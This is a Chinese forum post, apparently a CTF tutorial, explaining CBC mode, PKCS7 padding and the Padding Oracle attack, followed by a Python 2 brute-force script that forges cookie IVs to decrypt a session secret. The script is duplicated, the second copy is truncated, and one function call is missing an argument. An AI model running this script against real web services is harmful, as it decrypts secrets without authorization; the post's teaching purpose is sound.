首页
社区
课程
招聘
[原创]Web手需要懂的Crypto|Padding Oracle
发表于: 2022-8-22 13:15 1086

[原创]Web手需要懂的Crypto|Padding Oracle

2022-8-22 13:15
1086

CBC字节翻转和Padding Oracle这两个考点在2017-2018年的CTF题目中比较常见,没想到最近的巅峰极客2022的 babyweb 中再出现,总感觉知识点比较零散,这里尝试稍微系统的梳理下,水平有限,有误望师傅们指正

CBC全称Cipher Block Chaining模式(密文分组链接模式),每一个分组大小一般为128bits(16字节),因而这里会出现两种情况:

密文:(加密后可能有不可见字符,为了方便网络传输和适应不同系统的编码方案)

需要注意的是,Padding Oracle Attack 攻击与具体的加密算法无关。

在前文有提及,如果明文的长度不是16字节的整数倍,需要对最后一个分组进行填充(padding),CBC的填充规则有PKCS5和PKCS7的区别,这里使用的是PKCS7 ,即缺少N字节,就用 N 个 \xN 填充,如缺少7位则用 7 个 \x07 填充,因此,正确的填充格式有:

每次发送一个分组,则解密时都会用到IV

爆破分组最后一个字节:

根据 New_IV[-1] ^ Intermediary_Value [-1] = 0x01 爆破

New_IV[-1] 从0x00-0xFF 进行爆破,其中只有一个值能满足与 Intermediary_Value[-1] 异或结果为 0x01,也仅有这种 padding 情况能被认为是正常解密(二值推理)

根据逻辑运算得到最后一字节的明文

将 Intermediary_Value [-1] 与 IV[-1] (第一个分组)或 前一个密文分组的最后一位(其他分组)异或可以得到 Cipher[-1]

爆破分组倒数第二个字节

构造 New_IV[-1] ^ Intermediary_Value [-1] = 0x02

上一步已经得到了Intermediary_Value [-1] ,则

根据 New_IV[-2] ^ Intermediary_Value [-2] = 0x02 爆破

与爆破最后一个字节的思路相同

分组其他字节依此类推

0x01
0x02 0x02
0x03 0x03 0x03
....
0x01
0x02 0x02
0x03 0x03 0x03
....
 
 
 
New_IV[-1]  ^ Intermediary_Value [-1] = 0x01
=> Intermediary_Value [-1] = New_IV[-1] ^ 0x01
New_IV[-1]  ^ Intermediary_Value [-1] = 0x01
=> Intermediary_Value [-1] = New_IV[-1] ^ 0x01
New_IV[-1= Intermediary_Value [-1] ^ 0x02
New_IV[-1= Intermediary_Value [-1] ^ 0x02
import base64 as b64
import requests
 
 
secret = ''
url = ""
data = {
    'username':"admin",
    'password':"admin"
}
cookie = {
    "session": ""
}
 
 
def padding(secret, xorValue, IV):
    middle = []
    pt = ''
    for x in xrange(0,16):
        for y in xrange(0,256):
            tmp_IV = ''.join(IV)
            cookie_pwd = b64.b64encode(tmp_IV + secret)
            cookie.update({
                'admin_password':cookie_pwd
            })
            res = requests.post(url=url,cookies=cookie,data=data).text           
            if 'padding error' in res:
                IV[15-x] = chr(y)
            elif 'False' in res:
                print IV
                IV[15-x] = chr(ord(IV[15-x]) ^ (x + 1))
                middle.append(ord(IV[15-x]))
                print middle
                pt += chr(ord(IV[15-x]) ^ ord(xorValue[15-x]))
                for z in xrange(0,x + 1):
                    IV[15-z] = chr(middle[z] ^ (x + 2))
                break
            else:
                print res
                exit()
            if y == 255:
                print '[!] Something wrong'
                print x + 1
                exit()
    return pt[::-1]
 
 
plainText = ''
IV = ['\x00'] * 16
Right_IV = b64.b64decode(secret)[0:16]
secret = b64.b64decode(secret)[16:]
num = int(len(secret)/16)
for i in range(num):
    s = secret[i*16:(i+1)*16]
    if i == 0:
        xorValue = Right_IV
    else:
        xorValue = secret[(i-1)*16:i*16]
    plainText += padding(s,xorValue)
print '[+] PlaintText is : ' + plainText
import base64 as b64
import requests
 
 
secret = ''
url = ""
data = {
    'username':"admin",
    'password':"admin"
}
cookie = {
    "session": ""
}
 
 
def padding(secret, xorValue, IV):
    middle = []
    pt = ''
    for x in xrange(0,16):
        for y in xrange(0,256):
            tmp_IV = ''.join(IV)
            cookie_pwd = b64.b64encode(tmp_IV + secret)
            cookie.update({
                'admin_password':cookie_pwd
            })
            res = requests.post(url=url,cookies=cookie,data=data).text           
            if 'padding error' in res:
                IV[15-x] = chr(y)
            elif 'False' in res:
                print IV
                IV[15-x] = chr(ord(IV[15-x]) ^ (x + 1))
                middle.append(ord(IV[15-x]))
                print middle
                pt += chr(ord(IV[15-x]) ^ ord(xorValue[15-x]))
                for z in xrange(0,x + 1):
                    IV[15-z] = chr(middle[z] ^ (x + 2))
                break
            else:

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 9
活跃值: (287)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
666666666666666666666666
2022-9-10 10:48
0
游客
登录 | 注册 方可回帖
返回
//